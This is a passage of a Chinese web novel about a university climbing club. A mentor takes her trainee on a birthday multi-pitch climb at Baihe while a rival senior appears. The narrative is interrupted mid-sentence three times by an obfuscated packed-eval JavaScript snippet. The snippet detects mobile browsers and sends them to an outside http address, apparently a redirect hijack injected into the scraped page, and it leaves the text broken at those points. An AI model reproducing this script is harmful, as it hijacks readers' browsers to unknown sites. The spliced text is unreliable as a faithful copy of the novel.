她就是想和以前一样,拍拍他的肩膀,给他鼓励。但他竟然直接给她来了一个转身。如果不是她反应敏捷,是不是就摔在地上了? 她心中叹了口气,小澍还是觉得自己对他疏于照顾么? 今天她讲解得很认真了,可是,他领悟得太快了啊,在聪明人扎堆的地方,他都是反应格外迅速那一个。和别的组依旧在侃侃而谈的老队员相比,她好像敷衍了一样。 这一周在人工岩壁反复练习,下个周末便前往郊外野攀。 一行十几个人,周六一早六点便在门外集合。先搭乘市内公交,再换乘郊区快线,到了密云城区后,农家院老板联系的小巴车再把几个人送进山里。辗转到达岩壁下,已经将近十点。 对新队员来说,在野外攀爬和人工岩壁上感受截然不同。尤其是白河各岩场的花岗岩,脚点常常就是岩壁上一个手指盖大小的凸起,还要以脚踩住,将全身重量压上。 老队员在下方喊着:“要相信你的脚!都是顶绳,怕什么。” 虽然知道岩壁并非竖直,而是有一定倾斜度的大坡,干燥的花岗岩也为橡胶鞋底提供了充足的摩擦力。但当面前缺少扎实明显的点位,整个人暴露在巨大的天然岩壁上时,内心仍会感到巨大的压力——不是对自身安全的担忧,而是对自身能力的质疑。 周日老队员们和几个登山队的同学约伴,在岩壁上进行了结组练习。李澍和其他几位新队员还在和顶绳线路死磕,心中只有羡慕的份儿。 爬到下午,众人又匆促乘车返回。沿途奔波,大家心力俱疲,在长途车上睡得东倒西歪。李澍背了不少装备,没少出力,车一晃,便疲惫得睁不开眼。他身高腿长,只能坐在靠走道一侧的座位,才能将腿略向外伸展些许。 人便斜过来,一打瞌睡,头向另一侧滑过去。 快速公交驶上高速,十几公里没有停靠站点,众人都陆续陷入梦境,车上安静下来。黎晓唱也开始眼皮打架,靠在窗边睡了过去。 不知过了多久,公交车为了躲避前方插过来的小车,司机一脚点刹。幅度不大,但她的额头正好在窗锁上磕了一下。 头顶一痛,黎晓唱倒吸凉气,迷迷糊糊中想要抬手去揉,却觉得右边手臂被压住。她揉了揉眼睛,一侧头,看见李澍浓密的头发。 他半侧身坐在座位上,长腿伸到过道外,附近也没有什么乘客站着,毫无阻挡。他便滑下去一些,窝在不大的座椅中,头甩过来,正好搭在她的右肩上;他的肩也挡在她的手臂前,她才会觉得手臂动弹不得。 黎晓唱咕哝了一声:“拿我当靠垫吗?太不尊师重道了。”她本来想拿肩头撞他,或者一闪身,让他猛然惊醒,这个念头转了一半,便又停下来。 他睡得踏实,毫无戒心。黎晓唱探头看他,大部分视线被他的短发挡住。发茬擦在脸上,并不扎人,茸茸得很有弹性,让人想要拿手大力拂乱。 她再向前探探头,隐约看到他挺直的鼻梁。夕阳温暖的金黄光线从对侧车窗投射进来,将纱帘的影子投在两人身上。在这明明暗暗之间,他睡得十分安稳,让人都有些嫉妒他孩童般的宁静。 黎晓唱一时间玩心大起。以前大家一同出野外,有人累得不行,靠在大石头上顷刻入睡。队友们互相捉弄,就会去捏住他的鼻子,看对方本来闭着的嘴,过几秒会自动张开。 她嘻嘻一笑,略微侧身,抽了左手出来,就要去捏李澍的鼻子。 公交车赶超前面一辆货车,变道之间,李澍随着车身晃了一下。黎晓唱半侧身,肩膀撑不住,只觉得他头一沉,便撞到她右边胸口上。 黎晓唱浑身一紧,脸颊瞬间像是烤了火,本来要捏李澍鼻子的手,迅速托着他的头,大力推了出去。 这两天的野攀体验过于深刻,李澍在半梦半醒之间,仿佛还在岩壁上腾挪。忽然人一轻,仿佛自高处跌落,下一秒就被大力推出,横向摆荡。他第一个念头是:还好系了保护绳。 一惊之间,瞬间就清醒过来。扭头看身边的黎晓唱,紧贴着窗靠在座位角落,神色间含嗔带怒。李澍一时摸不着头脑,但看自己腿在过道,身体半侧着,只道自己太不拘束,挤占了她的空间,低声道:“对不起啊。” 黎晓唱胸口被撞得闷痛,想要揉一下,又看他睡眼朦胧,依旧看向自己,刚抬起来的手只能停在半空。想到他的额头贴在她身前,从肩头滑落到胸口,黎晓唱只想找个地缝钻进去。 她在李澍肩头大力推了一把:“去去去,一边去!” 李澍极少见她动怒,一时间不清楚她为什么语气急躁,但还是“哦”了一声,乖乖起身,转到后排座位去。 黎晓唱这才抽出手来揉了揉,吸了口凉气。其实撞得不痛,片刻就缓解了;但这件事本身带来的冲击更大。她刚才看到李澍一脸无辜起身的样子,本来想说一句,“没什么啦”,但只要扭身看到他,脑海中就反复现出刚刚这一幕的慢动作。 他的面颊,似乎就靠在自己的胸前。黎晓唱羞愧难当,双手捂住脸。天啊,李澍会不会也感觉到了,只是没有说?要她怎么坦荡面对他啊。 完全忘记,自己曾经是口口声声“不拘小节”的江湖儿女。 接下来一周的练习中,黎晓唱面对李澍时总是有些不自在。他懵懵懂懂的样子,似乎是不知道发生了什么,但和她又并不亲近。每天依旧认真训练,但一副公事公办的样子。 也有女生来围观他练习,还带了各种小零食慰问,是和他一起跑过环湖马拉松接力的队友和同学。大家对攀岩技巧和如何保护也颇感兴趣,围着他问东问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116241|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。 队友揶揄李澍,说你也有粉丝了哟。李澍不以为意,说都是学院里热心的同学,她们也同样为篮球赛加油。 说到篮球赛,寝室的姑娘怂恿她去给程峻齐加油,被黎晓唱断然拒绝——就算她一向感激程峻齐在学业上的帮助,也好奇他水平如何,但跑到人家场下去加油,也太让人浮想联翩了。 她只是去看了本学院的小组决胜局。计算机的队伍就在隔壁场地比赛,她也顺道看了一眼,在比赛结束时说一句祝贺。 孟琳说:“刚才程师兄发挥那么棒,你不多夸奖人家两句?” 黎晓唱摆手:“别别,让他们自己庆祝一下吧,我一直站在人家队伍中间算怎么回事儿?” 孟琳笑:“那天去K歌,听说有人深情对唱来着。” 黎晓唱嗔道:“好多人都一起唱了啊,那各种排列组合都有,要我给你算算有多少种可能性不?” 总之,这一周别别扭扭的,让人无心学业。转眼又到了周末集训,众人一致觉得周六清晨出发过于仓促,决定将时间改在周五傍晚。 黎晓唱准备物资,看着自己额外的采买清单,想起和李澍一起乘车的情景,依旧觉得耳根隐隐发热。 但李澍好像无事发生,对她还是不冷不热的。她一时间有些懊恼:何必对他的事情那么上心呢? 但另一方面,似乎小澍也没做错什么。但的的确确,就是这种中规中矩,让她感觉到二人之间难以言明的疏离感。 黎晓唱把采购清单团了团,本来想扔到纸篓里。但最后一刻,心又软了下来。 算了,大人不计小人过,她和一个小同学计较什么。 众人周五夜里抵达农家院,为了节约花销,定了两个大通铺房间,男女生各一间。大家自带了食堂的烧饼、鸡腿和咸菜,又请厨房做了两大碗热汤,吃得简单,但心思都在第二天的攀爬上,说说笑笑,满是期待。 星斗满天,银河横亘天际。不远处白河流水潺潺,树林里传来熟悉的有节奏的鸣叫声,“啾啾-啾啾”。 有人问黎晓唱:“这是什么鸟儿叫?” 她一指李澍:“这么简单的问题,问我的徒弟都知道。” 李澍中规中矩地说了名字:“东方角鸮,也就是红角鸮。”又想起雨中跑步那天,撑着伞悠然而过的两个人,一时间有些意兴阑珊。 但当事人似乎没感受到他的情绪变化,还凑过来,推了推他肩膀,问:“小澍,教给你的做顶和结组技术都会了么?再演示一遍呗。” 这一周李澍常给登山队打配合,每天训练后也抽出时间来,将自己挂在岩壁上反复练习。此时拿出装备,将院子中的横杠当做锚点,又演练一遍,动作纯熟,思路清晰。 黎晓唱很满意,在他耳边小声说:“早点睡,明天早起,我带你去个地方。” 李澍回身,讶然:“不和大家去老岩场?” “都是一条路,我们先出发。”黎晓唱挑了挑眉,“师父带你去结组!” 李澍惊喜:“我可以去结组吗?” 黎晓唱看他快乐的样子,也跟着笑起来:“你的操作都没问题,我领攀你跟攀就是了。顶多到了保护站倒一下绳。” 她手指贴在唇边,示意李澍不要声张:“我和队长说了,这次就带你去,先不要告诉别人哦,要不他们都该说我偏心了。” 此前李澍就看到几位登山队员携带装备,在岩壁结组,前后攀爬。一段一段,越行越高。他们几位新队员也想体验,但知道登山队另有攀登任务,老队员全力以赴协助他们,紧锣密鼓地练习。于是大家都将小心愿藏好,没有人主动向队里提出。 他有些好奇,问黎晓唱:“你怎么知道我想去结组?” 她十分得意:“我又不是没当过新人,谁不想去呢!” 面前的李澍一脸喜悦,又是一副大男孩简单快乐的样子。黎晓唱特别想说,这就对了,多笑笑嘛。他的头发毛茸茸的,让人特别想揉一把。 黎晓唱手半抬起来,又觉得十分不妥,中途生硬转向,拽了拽自己的小辫子:“别太激动了哈,晚上该失眠了,早睡早起,五点出发!” 28. 第十二章 (下) 李澍的确难以入眠。 最让他心驰神往的,还是结组本身。他此前都是在纪录片中看到攀岩高手结组攀援,在峭立千仞的岩壁映衬下,人显得格外渺小。身后或是群山,或是荒漠,或是森林,或是碧海,每上升一步,视野就开阔一些,所有风景在背后徐徐展开。而攀登者是专注的、执着的、向上的。 他从来没想过,这样快就可以去结组。哪怕黎晓唱再三说,就是一条体验线。 夏日里天亮得早。农家院的窗帘质地轻薄,太阳还没出来,它已经从夜的浓黑中褪了一点色,浅淡地映出窗棂的暗影。 李澍睡得不深,朦胧中睁开眼,看见浅淡的天光,心里一惊,就怕自己睡过了。摸出手机一看,时间还早。 但院子里已经有悉悉簌簌的声音,他起身,挑开窗帘一角,看见有人戴着头灯,在整理装备。 昨夜李澍怕早起吵醒队友,也是和衣而眠,睡在通铺尽头。此刻他蹑手蹑脚下床,穿戴整齐。 黎晓唱看他出来,喜笑颜开,压低声音道:“可以呀,这么早就起来,有时间观念!” 他也把声音压低:“晚了你要罚我做俯卧撑吧?不过,还有半小时。” “保险起见,再检查一下。”她夸张地耸耸肩,调侃道,“谁让我自己带个新手呢,得做万全准备。” 两个人怕吵醒旁人,声音都轻得像呵气一般。早晨空气湿凉,似乎都能感受到彼此呼吸间的暖意。 李澍忽然意识到什么:“我还没洗脸刷牙。” “回来再……”黎晓唱又顿了一下,“不对,应该现在洗漱。”她指了指院子门口,“那儿也有个水龙头。” 村中自家用的是地下水,冷得像是加了冰。扑到脸上,人也彻底清醒了。 两人直接将安全带和头盔穿戴好,腰间挂了攀岩鞋和各种装备,黎晓唱还背了个小巧的双肩户外包,圆鼓鼓的,说是水和简单补给。 李澍接过盘好的动力绳,挎在肩上。 两个人沿着山间的公路,像两公里外的岩场走去。 公路沿着山腰蜿蜒而行,一侧是嶙峋峻峭的山崖,巨大裸露的灰白色岩壁随处可见;另一侧是曲折的河谷,白河如玉带一样在层峦叠嶂的山间穿行。夏日里水草丰茂,河水漫过石滩,滋养了沿岸的植物,绿意盎然。 夜凉露重,此时山间似乎还氤氲着丝丝缕缕的薄雾,像流动的浮云,轻缓地沉下来,将远山和河谷都拢在一片朦胧的淡青色中。 高处似乎清朗一些,能看到远处山巅上,悬着一弯若有若无的淡白色月牙。 黎晓唱的心情似乎不错,哼着歌,偶尔还学两声鸟叫。 李澍问:“这是什么鸟?” 她嘻嘻一笑:“我又不会口技,随便编的。” 走着走着,天色便渐渐亮起来。雾气散得很快,周围的景物逐渐清晰。也有一串“嘀哩哩”的叫声从崖壁掠过,奔向河面。 “金翅雀。”不待李澍问,她便飞快答出。 周围更明亮一些。 他指着电线上的黄色小鸟问:“那个呢?” 黎晓唱扫一眼:“灰鹡鸰。” 李澍仰头,看着它明黄色的肚皮:“为什么不是黄鹡鸰?” “头是灰的啊,背也是。”黎晓唱笑,“而且黄鹡鸰比它更黄,它只能屈尊了。” 两个人随意说说,即使各有负重,两公里的路也仿佛转瞬就到。太阳似乎已经在山的另一侧升起,他们所在的地方还略显灰暗,但河对面的山岩和头上的天空都仿佛被点亮了,颜色也变得明丽起来。 两人换了鞋,攀爬到起点处的平台。黎晓唱整理装备,摩拳擦掌,眼睛亮晶晶的,问:“小澍,准备好了吗?” 之后李澍也来过白河若干次,指导新人攀爬、保护、先锋、结组。从早春到暮秋,不同的季节,看见过不同的风景。 虽然第一次结组,是在气候宜人的初夏。但他却总在微凉的秋日里回想起此时的情形,或许是微凉的温度、水一样沁润皮肤的感觉,和山中的清晨无比相像。 也许是秋日里的心境更为相似。 在呵气成烟的早晨,黄色的秋叶打着旋儿落下。他在林间抬起头,透过枝桠看着湛蓝无瑕的天。周围有熟悉的鸟儿鸣叫,不远处灌木丛后,传来淙淙的水流声。 每一个场景都熟悉,都让人以为她还在身边。下一刻就会欢快地回应他说:“灰鹡鸰呀。”或者是大声呼喊他:“小澍,准备好了吗?” 如果他知道在这个夏天后,要面临漫长的离别。那么当时在山路上,他会走得慢一些,再慢一些,仿佛也可以留住时光的脚步。 然而此时他正站在光滑的岩壁下,跃跃欲试,又心生犹豫:“这是个大光板啊,踩得住吗?” “看着光滑,但它有坡度啊!”黎晓唱示范给他,“喏,踩稳了,站起来就有。”她用手撑了一下,“看,甚至人都不用贴特别紧。” 李澍抬脚,感觉无处立足,在岩壁周围四下摸索。 她挑眉:“不想爬了?” “当然不是。”李澍看她还背了个书包,“还要背吗?” “放心,什么都不影响。” 两个人重复安全检查。黎晓唱胸有成竹,擦了擦镁粉,便敏捷地向高处爬去。李澍眼中她如履平地,仿佛哼着歌都可以攀上去。 黎晓唱到达第一个保护站,将自己固定住,绳子拉上来大半,剩了一截十几米长的绳尾,在上方保护李澍攀爬。 她吊坐在半空,看着天色越发明亮,河对面岩壁的暗影一点点向下走,心中说不出的快乐:“这是我们这座山的影子吧,好长呢!” 李澍正在和岩壁角力,顾不得回头看。这一片岩壁还不如此前去过的,连个指甲盖大小的脚点都没有。虽然上方垂下来的保护绳系在腰间,但他真不知道是否一脱脚,脸皮就会和岩壁亲密接触,下滑时再一磨擦。 他一个男同学,倒也不怕脸上挂彩,但是当着黎晓唱的面有些过于难堪。 因为全身紧张,反而更觉得下一刻就要滑坠下去。 抬头,看她在半空晃着脚,怡然自得的样子。她也不催促,也不指点,只是说了一句:“找到自己的节奏,小澍你可以的。” 她看似闲适,但却一直充满信任。李澍便被这种信任鼓励,他深呼吸两次,将紧张和焦虑等等杂念抛之脑后。 和此前接触过的岩壁相比,这一片虽然表面凸起不多,但内倾角度的确更大。李澍放松身体,不再紧张挣扎,反而更容易感受到来自岩壁的支撑。重心平衡后,手脚不需要过度发力,也可以随意调整,寻找更为稳定的落点位置。 黎晓唱看他越爬越高,展颜一笑:“我就说么,你可以的。” 两个人逐段上行,身后公路变得纤细,河流平静开阔,起伏的山峦如波浪,层层叠叠。 在每一个保护环节,李澍聚精会神,再三检查,对自己的操作信心十足。他暗想,再过一年、两年,或许会有和黎晓唱比肩的能力,可以作为搭档,去探索更多未知的线路。 在她去野外的时候,自己勤加练习,多努力一些,那天似乎也并不遥远。 这条线路多数时间是供新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116242|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手入门练习操作,段数不多,很快就到了大岩壁的顶部,但距离路面已有数十米落差。 两人找一处平坦的空地,黎晓唱简单整理装备,将背包里的水拿出来。 李澍还沉浸在登顶的喜悦中,远眺群山,兴奋地想要大喊出来。 黎晓唱也看出他的喜悦,笑眯眯托着下巴:“怎么样,结组开心吧?” 李澍点头:“谢谢……师姐。”这时候说感谢的话,好像有些见外,但他又不知如何表达心中满溢的兴奋。多年后回想起来,李澍常常会感到懊恼。为什么在这样一个明媚喜悦的清晨,他不曾给她一个激动而热烈的拥抱呢? “现在,可以拿出我们的补给了。”她在背包里悉悉簌簌掏着,“看!” 居然是个小西瓜。 “这么沉,你还背上来。”李澍过意不去,“应该我来拿……”又闭了嘴,如果身上有其他重物,稍加摆荡,他可能没那么容易迅速在岩壁上找到平衡。 “这点重量,小case。”黎晓唱浑不在意,“重头戏还在后面!” 她继续机器猫一样,在自己的百宝袋里翻来翻去。 李澍好奇地凑上来看,她飞快地伸了一只手,挡在他眼前,“你猜!” 他想起什么,但还不敢确认。她已经撤了手,献宝式地托着巴掌大的塑料盒。里面是一角芝士蛋糕,在包中背了一路,边角磨得有些模糊。 “小澍,生日快乐呀!” 她脸上蹭了一点灰,头盔有些歪,笑起来和夏天初升的阳光一样灿烂,让人内心喜悦,想要和她一起笑起来。 面前的李澍,一脸惊讶,明明感动又手足无措。黎晓唱看着她,笑得更开心了,也有些释然:“前段时间好像是都有点忙哦,连你报名科考都不知道……不过你看,我还记得你的生日,这个师父还算称职吧。” “你是怎么知道的?”李澍好奇,印象中她并没有问起过自己的生日。 黎晓唱嘻嘻一笑:“前段时间给大家买户外险,看到你的身份证号了。” “可惜没有蜡烛,山里点火不合适。”黎晓唱恪守防火原则,拿出小蛋糕,“你就许个愿,装作吹一下吧!” 李澍接过蛋糕,还真的闭上眼睛,半低着头许愿。他的态度过于认真,黎晓唱觉得时间过得格外久,都想伸手在他额上弹一下。 想了想,今天人家生日,还是不要过于淘气了。 捧着蛋糕、低头闭眼的李澍,显得十分乖巧。黎晓唱举起小卡片机,拍了一张,看他脸颊上也蹭了一道灰。她也没多想,伸手就想给他擦掉,再拍一张照片。 手刚伸过去,指尖仿佛碰到李澍的脸颊,他忽然就睁开眼睛了。两个人都吃了一惊。 “那个,”她尴尬收手,点点自己的脸颊,“你这儿脏了。” “哦。”李澍拿手背蹭了蹭,心中有些想笑。她半蹲在那儿,好像被抓包一样,没有了平时张牙舞爪的气势;但依旧轻巧地笑着,和这夏日山间万物一样,有蓬勃的生机。 她问:“你许了什么愿?那么认真。” 朝阳冉冉升起,晨雾散去,河流上金光跳跃,巍峨群山自雾中浮现。她身后碧空辽阔,山河壮丽,仿佛也给了他勇气。 他许了一个愿,一个特别重要、想要和她分享的心愿。 以前的许多时光,瞬间奔涌而至。他的思绪也如同从晨雾中显露的山川一样,逐渐清晰,仿佛也有了磅礴的豪气。 他的心愿,就是和这样的她一直在一起。 不知道如果没有吹熄蛋糕上的蜡烛,许过的愿望是不是还算数。 29. 第十三章 星夜 下降返回地面,两个人多数时候一前一后,只有在保护站理绳时,有几分钟并肩闲聊的机会。都是黎晓唱说得多: “你猜这条路线难度多少?才5.6,你信么?是不是回头再看觉得好轻松。” “这条路线还好,你看河对面的大岩壁,太阳一出来就照一天,夏天结组就是石板烤肉啊。” “等你什么时候能领攀了,我们交替保护,速度就快了,可以去爬更长的路线。” 李澍都只是“哦”的回一声。 黎晓唱探身,问:“你刚才许了什么愿?啊啊,不用说出来,说出来就不灵了……不管是比赛获奖还是学业进步,我相信,你的愿望都会实现的!” 他本来,想告诉她的。 在坡顶,清爽的晨风吹得灌木丛哗啦啦地响。在她好奇的目光中,他心跳如擂鼓,仿佛要用手按在胸口,才能平复下来。 他怔怔地,对上她的目光。 我的愿望是,和你在一起,每天都能见到你。 这个愿望,可以实现么? 他嘴唇翕动,却一时紧张地说不出话来。 “晓唱……” 刚开了个头,手机铃声欢快地唱起来。 “啊,谁一早找我?”她拽过百宝袋,又埋头翻了起来。 “咿,你也要来白河,已经过密云水库了?哦,那接着开……左转……”她在为谁指路,“对,大家就在那个农家院……嗯嗯,有早餐的,你可以一起来吃。” 李澍探询地看她。 她侧头看了看李澍,又对着电话说:“哦,我和李澍先出来结组了,还得一会儿才能回去。” 放下电话,她说:“是程师兄。他开车来白河啦,说要过来接上咱们。” 她看起来,有些开心。 黎晓唱看了看时间,低呼:“哎呀,我们下去吧。还要和大家汇合,吃了早饭再去岩场。” 突如其来的电话扰乱了李澍的思绪,看她急急忙忙准备下降,也没有了开口再说什么的气氛。 两个人下到坡底时,程峻齐已经等在路边。李澍将绳子抽下理顺,黎晓唱将快挂和保护器分门别类一一整理,简要说了早晨结组的情况。 “你们还在山顶吃西瓜,也太奢侈了。”程峻齐仰头向上望去,“上面的风景一定很好吧。” 黎晓唱说:“从后面也可以绕上去的。” 他一笑:“那哪有结组有意思?我有点后悔大一退出登山协会了。不知道现在学,会不会晚了些。” “不会啊,师兄运动能力这么好,进步会很快的。”黎晓唱认真道,“美国攀岩普及度比国内高,会很容易找到岩馆和搭档的。” 程峻齐开了一辆大众途观,看公里数还是一两年的新车。 “前两年家里买的,”他说,“我拿了驾照后偶尔开开,这不是要去美国,前段时间找陪练认认真真又练习了一阵子。” 黎晓唱笑:“你是趁早晨车少,出门遛车么?” “也不全是。”他解释,“这不是毕业前,班上想要一起郊游么,说去个没去过的地方。我提前踩踩点儿,正好听说你们在,就想过来看看。” 李澍坐在后排,闷头不语。车过急弯的时候还略显生涩,速度和弧度明显不够流畅顺滑。但他能说什么,说自己高三毕业的假期也顺手拿了个驾照?好像攀比一样。 回到小院里,队友们已经起床洗漱,正围着大桌吃早餐,先看到李澍和黎晓唱背着装备进来,惊讶道:“你俩几点出门?这都爬回来了?” 听完解释又说:“唱姐你偏心啊,一早就带李澍结组,那我过生日的时候,怎么不带我呢?” “吃你的油饼吧!”黎晓唱在他后脑勺弹了一下,“我又不是三头六臂,哪儿能带那么多人。你去问你自己师父啊!” 说笑之间,程峻齐停好车进门,大家又是一阵惊讶。有和他相熟的院友问:“师兄你怎么也来了?” 他大方落座:“毕业旅行踩点,来和你们取经啊。” 老吴支招:“附近倒是有几个景区,也有农家院和漂流什么的,适合班级聚会。” 曾勇揶揄道:“需要有人带路不?唱姐来过好多次白河,她熟。” “哪有。”黎晓唱耳根发热,“我熟的都是岩场还有徒步路线,不大适合全班去,景区我可是一个都没去过。” “没事,我看黑龙潭什么的就在主路上,一会儿过去转转。不过可以先观摩一下你们攀岩么?还挺感兴趣的。” 早饭后,众人去到河边的岩场。大家摊开地布,整理好装备,三两成群,老队员们挂好几条顶绳路线,供大家一同练习。 程峻齐也拿出相机,特意走到半山坡上,回身用长焦拍摄众人攀登的照片。队员们都围上前去,兴高采烈地翻看自己的潇洒身姿。他也拍了河畔风景和鸟儿,黎晓唱一一辨识:“白鹭、苍鹭……这个小家伙是棕头鸦雀……这个是山麻雀,哦,和我们城里经常看到的麻雀不一样的……这个是翠鸟,好漂亮的小翠。哇,你竟然拍到它捉鱼了,好厉害!” 程峻齐惋惜道:“恰巧拍到了,不过200mm的长焦还是差太多,就有个影,还都糊了。” “那也不错啊,小翠速度很快的,能抓拍到就挺厉害。” 两个人又说起一些共同认识的朋友,也是校内拍摄野生动物的高手,聊得十分投契,直到有人招呼黎晓唱去监督新人练习,她才反应过来,歉然道:“啊呀,我还有任务,先过去了。” “没事,是我来得突然,打扰你们练习了。”他看了看时间,“我去黑龙潭和精灵谷,估计都看完也傍晚了,再回来找你们吧。” 他指了指背包:“我带了些吃的,都在包里,就先不背了,你们大家分吧。” “不用不用。”她连连摆手,“我们出来都自己带吃的。” “你们社团的风格我知道,艰苦朴素,我就是享乐主义那一拨的。”他笑,“我都背过来了,别让我再背回去了,就当帮我解决负担,好不好?” 午餐时大家围坐一处,啧啧称赞:“猪肉脯、牛肉干,鸭脖……太腐败了,我们今天可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116243|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是沾唱姐的光了。” “什么叫沾我的光?”她不好意思去吃那些零食,盘腿坐在一边啃着烧饼,“好像你们不认识程师兄似的。” “哈哈,”大家笑,“程师兄也不是来投奔我们的。” 黎晓唱不和他们打哈哈,看李澍也坐在一旁,不发一语,向他扬了扬下巴:“小澍你多吃点啊,刚才都爬了一圈了,补充补充体力,下午继续!” “哦。”李澍应了一声,还是低下头,默默嚼着面饼。 晨间的快乐和勇气,就如同山间的雾气一样,在鼎盛的阳光下消弭不见。无论是早晨在车上,还是刚才在河边,两个人并肩说笑,你一言我一语,也没有多少别人插话的机会。 他就在不远的地方,却感觉自己仿佛是个局外人。 傍晚攀岩队回到农家院,程峻齐也从两个景区踩点归来和他们汇合。他问了老板要了一间空房,说当晚也住下,夜里不开山路返城了。 门外斜坡上停了辆农用三轮车,留给他停车的位置略为狭小。程峻齐正打算开上来,李澍建议:“还是倒上来吧,明早好出。”又站在一旁转角处,“我帮你看着。” 程峻齐笑了笑,调转车头,在李澍的指挥下将车端正地塞到空隙里。他观测准确,口令到位,明显也颇有经验。 程峻齐拎上背包,拍了拍李澍的肩膀:“师弟可以啊。” 正好黎晓唱跨过门槛出来,也笑道:“咦,小澍深藏不露呀。” 李澍应道:“我家大院也不好停车,总看我爸停。” 黎晓唱看到二人搭着肩,嘻嘻一笑:“哦对,正好。和你俩商量个事儿呗!” “我们有两个队员堪线,从怀柔那边翻山过来的,昨天就露营来着,今天想在大通铺挤挤,不过男生那边塞满了,就多一个人。”黎晓唱竖起食指,“师兄你那边是个标间吧?” 程峻齐点头。 “那,能不能拜托收留我们一个队员?我们也能省半间房钱。”黎晓唱将李澍向他推了推,“就……小澍吧。反正你们熟。” 程峻齐笑起来:“没问题啊,正好有人聊天。” 打开房门,三个人都愣在原地。 说好的标间呢?为什么是一个,大、床、房? 程峻齐和李澍面面相觑,背着背包,都愣在原地。 黎晓唱喊来老板:“刚才电话里,您不是说留了个标间么?” “是啊是啊,这是两张床拼起来的,本来就是个标间啊。”老板解释道,“小伙子说他就一个人嘛,我就没挪床。” 房间逼仄,床边还摆放了床头柜、茶几和小沙发,要想挪开,得把零七碎八的家具都先腾出来,颇要费一番周章。 程峻齐和李澍一时僵住,挪也不是,不挪也不是。 黎晓唱“扑哧”一声笑出来:“你们俩大男人,磨叽什么啊?大通铺都能睡,两张床拼起来有什么啊?又不是不够宽。” 两个人不好再说什么,在房间里各自整理洗漱用品,都觉得黎晓唱说得没错,但就是哪儿有点别扭。 30. 第十三章 (下) 李澍尴尬道:“队里应该有人带了地垫和睡袋,要不我打个地铺吧。” “没事,这样能走得开就行。”程峻齐将床头柜推到角落,招呼李澍将两张床勉强分开,中间多了一窄条走道,“你今天起早肯定累,再让你打地铺,晓唱不得找我算账?” 他说起她的名字,显得格外亲切自然。 “还行,不累。”李澍应道,“训练也习惯了。”他今天凌晨就起来,但在岩壁上奋力攀登时一点都不累,甚至一度觉得这是进入大学后最快乐的时刻;然而现在坐在整洁的床铺上,疲惫感却忽然袭来。 他一点儿都不想说话。 程峻齐整理随身物品,没留心他的情绪,依旧笑着搭话:“刚才听大家说,今天是你生日,那一会儿得吃碗长寿面啊。” 李澍整理心情,答道:“随便吃什么都行,没关系。” 程峻齐恍然:“哦,所以一早晓唱带你去结组了?” “也许,就是赶巧了。”李澍胸口有些闷,并不是很想继续这个话题。 “应该是她的一片心意,”程峻齐笑意不减,“晓唱对你的事情,真的很上心。” 李澍呼吸一滞,不知如何回应。想起她神神秘秘的样子,低声嘱咐他不要告诉别人,一颗心不觉暖暖的,但又带了些酸涩。 只听程峻齐继续说道:“别看她嘻嘻哈哈像个小朋友,但其实很有责任心,带徒弟的时候还真有点师父的样子。” 李澍心中知道他说得都对,但心上却如同被层云遮住日光,有点儿凉,有点沉。 又听程峻齐问:“你加入登山协会,也是因为喜欢攀岩?” “也挺凑巧的。路过岩壁两次,看到大家训练。” “进步这么快,还是有天赋,而且有恒心有毅力,所以我特别佩服能坚持下来的同学。”程峻齐笑着,又轻叹一声,“嗨,我当时就是觉得要求太多,纪律严明不够自由,所以待了两个月就退出了。” “其实还好,如果不参加选拔,对出勤率也没有硬性要求。” “就是怕自己不够优秀吧,怕自己留下来变成打酱油的。”程峻齐坦然道,“协会里很多人天赋更高,我又觉得自己没那么多精力去磨练技术,如果进不了攀岩队会不甘心,所以才知难而退。” 说着他自嘲地笑了笑:“还是得失心太重了。现在想想大可不必,想做什么就去做,干嘛畏首畏尾的?” 李澍想起自己在是否入队时的犹豫,深有同感,点了点头:“我也犹豫过。” 程峻齐继续说道:“这是我特别欣赏晓唱的地方,真实、坦荡、快乐,做什么都充满热情,和她在一起,就会觉得很乐观、很开心。” 他毫不吝惜对黎晓唱的赞扬,眼角唇边都含着笑意。 李澍一边听着,身体一点点绷紧,他垂下眼,看见自己双拳紧握。 所以,此时应该如何作答?怎样才能表现得坦率、豁达、勇敢? 他想要起身,正视程峻齐的目光,沉着镇定地告诉他,在自己心中,黎晓唱并不仅仅是他攀岩的领路人,或是关心体贴的小师姐,她更是他珍视的人,是他想要一直结伴同行的人。 她,是他喜欢的女孩子呀。 不待启齿,这个念头就在李澍胸中点起一把火,灼热滚烫,让他的脸颊和耳朵都红了起来。 刚刚成长了一岁的李澍,无论脑海中翻滚着多少澎湃的语言,在坦然镇定的师兄面前,似乎都做不到十分的豁达。 无论怎样开口,都似乎显得莽撞或是狭隘。 